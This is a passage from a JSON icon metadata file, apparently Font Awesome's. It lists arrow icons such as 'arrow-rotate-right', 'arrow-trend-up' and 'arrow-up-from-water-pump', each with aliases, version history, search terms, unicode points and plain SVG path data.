        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M125.7 160H176c17.7 0 32 14.3 32 32s-14.3 32-32 32H48c-17.7 0-32-14.3-32-32V64c0-17.7 14.3-32 32-32s32 14.3 32 32v51.2L97.6 97.6c87.5-87.5 229.3-87.5 316.8 0s87.5 229.3 0 316.8s-229.3 87.5-316.8 0c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0c62.5 62.5 163.8 62.5 226.3 0s62.5-163.8 0-226.3s-163.8-62.5-226.3 0L125.7 160z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M125.7 160H176c17.7 0 32 14.3 32 32s-14.3 32-32 32H48c-17.7 0-32-14.3-32-32V64c0-17.7 14.3-32 32-32s32 14.3 32 32v51.2L97.6 97.6c87.5-87.5 229.3-87.5 316.8 0s87.5 229.3 0 316.8s-229.3 87.5-316.8 0c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0c62.5 62.5 163.8 62.5 226.3 0s62.5-163.8 0-226.3s-163.8-62.5-226.3 0L125.7 160z"
      }
    },
    "free": ["solid"]
  },
  "arrow-rotate-right": {
    "aliases": {
      "names": ["arrow-right-rotate", "arrow-rotate-forward", "redo"],
      "unicodes": {
        "composite": ["21bb"],
        "secondary": ["10f01e"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.8.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Clockwise Open Circle Arrow",
        "forward",
        "refresh",
        "reload",
        "repeat"
      ]
    },
    "styles": ["solid"],
    "unicode": "f01e",
    "label": "Arrow Rotate Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M386.3 160H336c-17.7 0-32 14.3-32 32s14.3 32 32 32H464c17.7 0 32-14.3 32-32V64c0-17.7-14.3-32-32-32s-32 14.3-32 32v51.2L414.4 97.6c-87.5-87.5-229.3-87.5-316.8 0s-87.5 229.3 0 316.8s229.3 87.5 316.8 0c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0c-62.5 62.5-163.8 62.5-226.3 0s-62.5-163.8 0-226.3s163.8-62.5 226.3 0L386.3 160z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M386.3 160H336c-17.7 0-32 14.3-32 32s14.3 32 32 32H464c17.7 0 32-14.3 32-32V64c0-17.7-14.3-32-32-32s-32 14.3-32 32v51.2L414.4 97.6c-87.5-87.5-229.3-87.5-316.8 0s-87.5 229.3 0 316.8s229.3 87.5 316.8 0c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0c-62.5 62.5-163.8 62.5-226.3 0s-62.5-163.8 0-226.3s163.8-62.5 226.3 0L386.3 160z"
      }
    },
    "free": ["solid"]
  },
  "arrow-trend-down": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["line", "stocks", "trend"]
    },
    "styles": ["solid"],
    "unicode": "e097",
    "label": "Arrow Trend Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767205,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M384 352c-17.7 0-32 14.3-32 32s14.3 32 32 32H544c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32s-32 14.3-32 32v82.7L342.6 137.4c-12.5-12.5-32.8-12.5-45.3 0L192 242.7 54.6 105.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l160 160c12.5 12.5 32.8 12.5 45.3 0L320 205.3 466.7 352H384z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M384 352c-17.7 0-32 14.3-32 32s14.3 32 32 32H544c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32s-32 14.3-32 32v82.7L342.6 137.4c-12.5-12.5-32.8-12.5-45.3 0L192 242.7 54.6 105.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l160 160c12.5 12.5 32.8 12.5 45.3 0L320 205.3 466.7 352H384z"
      }
    },
    "free": ["solid"]
  },
  "arrow-trend-up": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["line", "stocks", "trend"]
    },
    "styles": ["solid"],
    "unicode": "e098",
    "label": "Arrow Trend Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767205,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M384 160c-17.7 0-32-14.3-32-32s14.3-32 32-32H544c17.7 0 32 14.3 32 32V288c0 17.7-14.3 32-32 32s-32-14.3-32-32V205.3L342.6 374.6c-12.5 12.5-32.8 12.5-45.3 0L192 269.3 54.6 406.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3l160-160c12.5-12.5 32.8-12.5 45.3 0L320 306.7 466.7 160H384z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M384 160c-17.7 0-32-14.3-32-32s14.3-32 32-32H544c17.7 0 32 14.3 32 32V288c0 17.7-14.3 32-32 32s-32-14.3-32-32V205.3L342.6 374.6c-12.5 12.5-32.8 12.5-45.3 0L192 269.3 54.6 406.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3l160-160c12.5-12.5 32.8-12.5 45.3 0L320 306.7 466.7 160H384z"
      }
    },
    "free": ["solid"]
  },
  "arrow-turn-down": {
    "aliases": {
      "names": ["level-down"],
      "unicodes": {
        "secondary": ["10f149"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["arrow"]
    },
    "styles": ["solid"],
    "unicode": "f149",
    "label": "Arrow Turn Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M32 64C14.3 64 0 49.7 0 32S14.3 0 32 0l96 0c53 0 96 43 96 96l0 306.7 73.4-73.4c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3l-128 128c-12.5 12.5-32.8 12.5-45.3 0l-128-128c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0L160 402.7 160 96c0-17.7-14.3-32-32-32L32 64z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M32 64C14.3 64 0 49.7 0 32S14.3 0 32 0l96 0c53 0 96 43 96 96l0 306.7 73.4-73.4c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3l-128 128c-12.5 12.5-32.8 12.5-45.3 0l-128-128c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0L160 402.7 160 96c0-17.7-14.3-32-32-32L32 64z"
      }
    },
    "free": ["solid"]
  },
  "arrow-turn-up": {
    "aliases": {
      "names": ["level-up"],
      "unicodes": {
        "secondary": ["10f148"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["arrow"]
    },
    "styles": ["solid"],
    "unicode": "f148",
    "label": "Arrow Turn Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M32 448c-17.7 0-32 14.3-32 32s14.3 32 32 32l96 0c53 0 96-43 96-96l0-306.7 73.4 73.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-128-128c-12.5-12.5-32.8-12.5-45.3 0l-128 128c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L160 109.3 160 416c0 17.7-14.3 32-32 32l-96 0z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M32 448c-17.7 0-32 14.3-32 32s14.3 32 32 32l96 0c53 0 96-43 96-96l0-306.7 73.4 73.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-128-128c-12.5-12.5-32.8-12.5-45.3 0l-128 128c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L160 109.3 160 416c0 17.7-14.3 32-32 32l-96 0z"
      }
    },
    "free": ["solid"]
  },
  "arrow-up": {
    "aliases": {
      "unicodes": {
        "composite": ["2191"],
        "secondary": ["10f062"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Upwards Arrow", "forward", "upload"]
    },
    "styles": ["solid"],
    "unicode": "f062",
    "label": "Arrow Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M214.6 41.4c-12.5-12.5-32.8-12.5-45.3 0l-160 160c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L160 141.2V448c0 17.7 14.3 32 32 32s32-14.3 32-32V141.2L329.4 246.6c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-160-160z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M214.6 41.4c-12.5-12.5-32.8-12.5-45.3 0l-160 160c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L160 141.2V448c0 17.7 14.3 32 32 32s32-14.3 32-32V141.2L329.4 246.6c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-160-160z"
      }
    },
    "free": ["solid"]
  },
  "arrow-up-1-9": {
    "aliases": {
      "names": ["sort-numeric-up"],
      "unicodes": {
        "secondary": ["10f163"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["arrange", "filter", "numbers", "order", "sort-numeric-desc"]
    },
    "styles": ["solid"],
    "unicode": "f163",
    "label": "Arrow Up 1 9",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M450.7 38c8.3 6 13.3 15.7 13.3 26v96h16c17.7 0 32 14.3 32 32s-14.3 32-32 32H432 384c-17.7 0-32-14.3-32-32s14.3-32 32-32h16V108.4l-5.9 2c-16.8 5.6-34.9-3.5-40.5-20.2s3.5-34.9 20.2-40.5l48-16c9.8-3.3 20.5-1.6 28.8 4.4zM160 32c9 0 17.5 3.8 23.6 10.4l88 96c11.9 13 11.1 33.3-2 45.2s-33.3 11.1-45.2-2L192 146.3V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V146.3L95.6 181.6c-11.9 13-32.2 13.9-45.2 2s-13.9-32.2-2-45.2l88-96C142.5 35.8 151 32 160 32zM445.7 364.9A32 32 0 1 0 418.3 307a32 32 0 1 0 27.4 57.9zm-40.7 54.9C369.6 408.4 344 375.2 344 336c0-48.6 39.4-88 88-88s88 39.4 88 88c0 23.5-7.5 46.3-21.5 65.2L449.7 467c-10.5 14.2-30.6 17.2-44.8 6.7s-17.2-30.6-6.7-44.8l6.8-9.2z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M450.7 38c8.3 6 13.3 15.7 13.3 26v96h16c17.7 0 32 14.3 32 32s-14.3 32-32 32H432 384c-17.7 0-32-14.3-32-32s14.3-32 32-32h16V108.4l-5.9 2c-16.8 5.6-34.9-3.5-40.5-20.2s3.5-34.9 20.2-40.5l48-16c9.8-3.3 20.5-1.6 28.8 4.4zM160 32c9 0 17.5 3.8 23.6 10.4l88 96c11.9 13 11.1 33.3-2 45.2s-33.3 11.1-45.2-2L192 146.3V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V146.3L95.6 181.6c-11.9 13-32.2 13.9-45.2 2s-13.9-32.2-2-45.2l88-96C142.5 35.8 151 32 160 32zM445.7 364.9A32 32 0 1 0 418.3 307a32 32 0 1 0 27.4 57.9zm-40.7 54.9C369.6 408.4 344 375.2 344 336c0-48.6 39.4-88 88-88s88 39.4 88 88c0 23.5-7.5 46.3-21.5 65.2L449.7 467c-10.5 14.2-30.6 17.2-44.8 6.7s-17.2-30.6-6.7-44.8l6.8-9.2z"
      }
    },
    "free": ["solid"]
  },
  "arrow-up-9-1": {
    "aliases": {
      "names": ["sort-numeric-up-alt"],
      "unicodes": {
        "secondary": ["10f887"]
      }
    },
    "changes": ["5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrange", "filter", "numbers", "order", "sort-numeric-desc"]
    },
    "styles": ["solid"],
    "unicode": "f887",
    "label": "Arrow Up 9 1",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M160 32c9 0 17.5 3.8 23.6 10.4l88 96c11.9 13 11.1 33.3-2 45.2s-33.3 11.1-45.2-2L192 146.3V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V146.3L95.6 181.6c-11.9 13-32.2 13.9-45.2 2s-13.9-32.2-2-45.2l88-96C142.5 35.8 151 32 160 32zM450.7 294c8.3 6 13.3 15.7 13.3 26v96h16c17.7 0 32 14.3 32 32s-14.3 32-32 32H432 384c-17.7 0-32-14.3-32-32s14.3-32 32-32h16V364.4l-5.9 2c-16.8 5.6-34.9-3.5-40.5-20.2s3.5-34.9 20.2-40.5l48-16c9.8-3.3 20.5-1.6 28.8 4.4zm-5-145.1A32 32 0 1 0 418.3 91a32 32 0 1 0 27.4 57.9zm-40.7 54.9C369.6 192.4 344 159.2 344 120c0-48.6 39.4-88 88-88s88 39.4 88 88c0 23.5-7.5 46.3-21.5 65.2L449.7 251c-10.5 14.2-30.6 17.2-44.8 6.7s-17.2-30.6-6.7-44.8l6.8-9.2z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M160 32c9 0 17.5 3.8 23.6 10.4l88 96c11.9 13 11.1 33.3-2 45.2s-33.3 11.1-45.2-2L192 146.3V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V146.3L95.6 181.6c-11.9 13-32.2 13.9-45.2 2s-13.9-32.2-2-45.2l88-96C142.5 35.8 151 32 160 32zM450.7 294c8.3 6 13.3 15.7 13.3 26v96h16c17.7 0 32 14.3 32 32s-14.3 32-32 32H432 384c-17.7 0-32-14.3-32-32s14.3-32 32-32h16V364.4l-5.9 2c-16.8 5.6-34.9-3.5-40.5-20.2s3.5-34.9 20.2-40.5l48-16c9.8-3.3 20.5-1.6 28.8 4.4zm-5-145.1A32 32 0 1 0 418.3 91a32 32 0 1 0 27.4 57.9zm-40.7 54.9C369.6 192.4 344 159.2 344 120c0-48.6 39.4-88 88-88s88 39.4 88 88c0 23.5-7.5 46.3-21.5 65.2L449.7 251c-10.5 14.2-30.6 17.2-44.8 6.7s-17.2-30.6-6.7-44.8l6.8-9.2z"
      }
    },
    "free": ["solid"]
  },
  "arrow-up-a-z": {
    "aliases": {
      "names": ["sort-alpha-up"],
      "unicodes": {
        "secondary": ["10f15e"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["alphabetical", "arrange", "filter", "order", "sort-alpha-desc"]
    },
    "styles": ["solid"],
    "unicode": "f15e",
    "label": "Arrow Up A Z",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M183.6 42.4C177.5 35.8 169 32 160 32s-17.5 3.8-23.6 10.4l-88 96c-11.9 13-11.1 33.3 2 45.2s33.3 11.1 45.2-2L128 146.3V448c0 17.7 14.3 32 32 32s32-14.3 32-32V146.3l32.4 35.4c11.9 13 32.2 13.9 45.2 2s13.9-32.2 2-45.2l-88-96zM320 320c0 17.7 14.3 32 32 32h50.7l-73.4 73.4c-9.2 9.2-11.9 22.9-6.9 34.9s16.6 19.8 29.6 19.8H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H429.3l73.4-73.4c9.2-9.2 11.9-22.9 6.9-34.9s-16.6-19.8-29.6-19.8H352c-17.7 0-32 14.3-32 32zM416 32c-12.1 0-23.2 6.8-28.6 17.7l-64 128-16 32c-7.9 15.8-1.5 35 14.3 42.9s35 1.5 42.9-14.3l7.2-14.3h88.4l7.2 14.3c7.9 15.8 27.1 22.2 42.9 14.3s22.2-27.1 14.3-42.9l-16-32-64-128C439.2 38.8 428.1 32 416 32zM395.8 176L416 135.6 436.2 176H395.8z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M183.6 42.4C177.5 35.8 169 32 160 32s-17.5 3.8-23.6 10.4l-88 96c-11.9 13-11.1 33.3 2 45.2s33.3 11.1 45.2-2L128 146.3V448c0 17.7 14.3 32 32 32s32-14.3 32-32V146.3l32.4 35.4c11.9 13 32.2 13.9 45.2 2s13.9-32.2 2-45.2l-88-96zM320 320c0 17.7 14.3 32 32 32h50.7l-73.4 73.4c-9.2 9.2-11.9 22.9-6.9 34.9s16.6 19.8 29.6 19.8H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H429.3l73.4-73.4c9.2-9.2 11.9-22.9 6.9-34.9s-16.6-19.8-29.6-19.8H352c-17.7 0-32 14.3-32 32zM416 32c-12.1 0-23.2 6.8-28.6 17.7l-64 128-16 32c-7.9 15.8-1.5 35 14.3 42.9s35 1.5 42.9-14.3l7.2-14.3h88.4l7.2 14.3c7.9 15.8 27.1 22.2 42.9 14.3s22.2-27.1 14.3-42.9l-16-32-64-128C439.2 38.8 428.1 32 416 32zM395.8 176L416 135.6 436.2 176H395.8z"
      }
    },
    "free": ["solid"]
  },
  "arrow-up-from-bracket": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["share", "transfer", "upload"]
    },
    "styles": ["solid"],
    "unicode": "e09a",
    "label": "Arrow Up From Bracket",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M246.6 9.4c-12.5-12.5-32.8-12.5-45.3 0l-128 128c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L192 109.3V320c0 17.7 14.3 32 32 32s32-14.3 32-32V109.3l73.4 73.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-128-128zM64 352c0-17.7-14.3-32-32-32s-32 14.3-32 32v64c0 53 43 96 96 96H352c53 0 96-43 96-96V352c0-17.7-14.3-32-32-32s-32 14.3-32 32v64c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V352z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M246.6 9.4c-12.5-12.5-32.8-12.5-45.3 0l-128 128c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L192 109.3V320c0 17.7 14.3 32 32 32s32-14.3 32-32V109.3l73.4 73.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-128-128zM64 352c0-17.7-14.3-32-32-32s-32 14.3-32 32v64c0 53 43 96 96 96H352c53 0 96-43 96-96V352c0-17.7-14.3-32-32-32s-32 14.3-32 32v64c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V352z"
      }
    },
    "free": ["solid"]
  },
  "arrow-up-from-ground-water": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["groundwater", "spring", "water supply", "water table"]
    },
    "styles": ["solid"],
    "unicode": "e4b5",
    "label": "Arrow Up From Ground Water",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 352c17.7 0 32-14.3 32-32V109.3l25.4 25.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-80-80c-12.5-12.5-32.8-12.5-45.3 0l-80 80c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L256 109.3V320c0 17.7 14.3 32 32 32zm-18.5 69.9C247 437.4 219.5 448 192 448c-26.9 0-55.3-10.8-77.4-26.1l0 0c-11.9-8.5-28.1-7.8-39.2 1.7c-14.4 11.9-32.5 21-50.6 25.2c-17.2 4-27.9 21.2-23.9 38.4s21.2 27.9 38.4 23.9c24.5-5.7 44.9-16.5 58.2-25C126.5 501.7 159 512 192 512c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.5 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.4-27.3-10.1-39.2-1.7l0 0C439.4 437.2 410.9 448 384 448c-27.5 0-55-10.6-77.5-26.1c-11.1-7.9-25.9-7.9-37 0zM192 192H48c-26.5 0-48 21.5-48 48V425c5.3-3.1 11.2-5.4 17.5-6.9c13.1-3.1 26.7-9.8 37.3-18.6c22.2-18.7 54.3-20.1 78.1-3.4c18 12.4 40.1 20.3 59.1 20.3V192zm384 48c0-26.5-21.5-48-48-48H384V416.5h0c19 0 41.2-7.9 59.2-20.3c23.8-16.7 55.8-15.3 78.1 3.4c10.6 8.8 24.2 15.6 37.3 18.6c6.3 1.5 12.1 3.8 17.5 6.9V240z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M288 352c17.7 0 32-14.3 32-32V109.3l25.4 25.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-80-80c-12.5-12.5-32.8-12.5-45.3 0l-80 80c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L256 109.3V320c0 17.7 14.3 32 32 32zm-18.5 69.9C247 437.4 219.5 448 192 448c-26.9 0-55.3-10.8-77.4-26.1l0 0c-11.9-8.5-28.1-7.8-39.2 1.7c-14.4 11.9-32.5 21-50.6 25.2c-17.2 4-27.9 21.2-23.9 38.4s21.2 27.9 38.4 23.9c24.5-5.7 44.9-16.5 58.2-25C126.5 501.7 159 512 192 512c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.5 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.4-27.3-10.1-39.2-1.7l0 0C439.4 437.2 410.9 448 384 448c-27.5 0-55-10.6-77.5-26.1c-11.1-7.9-25.9-7.9-37 0zM192 192H48c-26.5 0-48 21.5-48 48V425c5.3-3.1 11.2-5.4 17.5-6.9c13.1-3.1 26.7-9.8 37.3-18.6c22.2-18.7 54.3-20.1 78.1-3.4c18 12.4 40.1 20.3 59.1 20.3V192zm384 48c0-26.5-21.5-48-48-48H384V416.5h0c19 0 41.2-7.9 59.2-20.3c23.8-16.7 55.8-15.3 78.1 3.4c10.6 8.8 24.2 15.6 37.3 18.6c6.3 1.5 12.1 3.8 17.5 6.9V240z"
      }
    },
    "free": ["solid"]
  },
  "arrow-up-from-water-pump": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["flood", "groundwater", "pump", "submersible", "sump pump"]
    },
    "styles": ["solid"],
    "unicode": "e4b6",
    "label": "Arrow Up From Water Pump",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M112 0C85.5 0 64 21.5 64 48V256H48c-26.5 0-48 21.5-48 48v96c0 8 2 15.6 5.4 22.2c3.8-1.7 7.8-3.1 12-4.1c13.1-3.1 26.7-9.8 37.3-18.6c22.2-18.7 54.3-20.1 78.1-3.4c18 12.4 40.1 20.3 59.2 20.3c21.1 0 42-8.5 59.2-20.3c22.1-15.5 51.6-15.5 73.7 0c18.4 12.7 39.6 20.3 59.2 20.3c19 0 41.2-7.9 59.2-20.3c23.8-16.7 55.8-15.3 78.1 3.4c10.6 8.8 24.2 15.6 37.3 18.6c4.2 1 8.2 2.4 12 4.1C574 415.6 576 408 576 400V304c0-26.5-21.5-48-48-48H480l0-146.7 25.4 25.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-80-80c-12.5-12.5-32.8-12.5-45.3 0l-80 80c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L416 109.3 416 256H288V48c0-26.5-21.5-48-48-48H112zM306.5 421.9c-11.1-7.9-25.9-7.9-37 0C247 437.4 219.5 448 192 448c-26.9 0-55.3-10.8-77.4-26.1l0 0c-11.9-8.5-28.1-7.8-39.2 1.7c-14.4 11.9-32.5 21-50.6 25.2c-17.2 4-27.9 21.2-23.9 38.4s21.2 27.9 38.4 23.9c24.5-5.7 44.9-16.5 58.2-25C126.5 501.7 159 512 192 512c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.5 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.4-27.3-10.1-39.2-1.7l0 0C439.4 437.2 410.9 448 384 448c-27.5 0-55-10.6-77.5-26.1z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M112 0C85.5 0 64 21.5 64 48V256H48c-26.5 0-48 21.5-48 48v96c0 8 2 15.6 5.4 22.2c3.8-1.7 7.8-3.1 12-4.1c13.1-3.1 26.7-9.8 37.3-18.6c22.2-18.7 54.3-20.1 78.1-3.4c18 12.4 40.1 20.3 59.2 20.3c21.1 0 42-8.5 59.2-20.3c22.1-15.5 51.6-15.5 73.7 0c18.4 12.7 39.6 20.3 59.2 20.3c19 0 41.2-7.9 59.2-20.3c23.8-16.7 55.8-15.3 78.1 3.4c10.6 8.8 24.2 15.6 37.3 18.6c4.2 1 8.2 2.4 12 4.1C574 415.6 576 408 576 400V304c0-26.5-21.5-48-48-48H480l0-146.7 25.4 25.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-80-80c-12.5-12.5-32.8-12.5-45.3 0l-80 80c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L416 109.3 416 256H288V48c0-26.5-21.5-48-48-48H112zM306.5 421.9c-11.1-7.9-25.9-7.9-37 0C247 437.4 219.5 448 192 448c-26.9 0-55.3-10.8-77.4-26.1l0 0c-11.9-8.5-28.1-7.8-39.2 1.7c-14.4 11.9-32.5 21-50.6 25.2c-17.2 4-27.9 21.2-23.9 38.4s21.2 27.9 38.4 23.9c24.5-5.7 44.9-16.5 58.2-25C126.5 501.7 159 512 192 512c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.5 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.4-27.3-10.1-39.2-1.7l0 0C439.4 437.2 410.9 448 384 448c-27.5 0-55-10.6-77.5-26.1z"
      }
    },
    "free": ["solid"]
  },
  "arrow-up-long": {
    "aliases": {
      "names": ["long-arrow-up"],
      "unicodes": {
        "secondary": ["10f176"]
      }
    },
    "changes": ["3.2.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["long-arrow-up", "upload"]
    },
    "styles": ["solid"],
    "unicode": "f176",
    "label": "Arrow Up Long",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
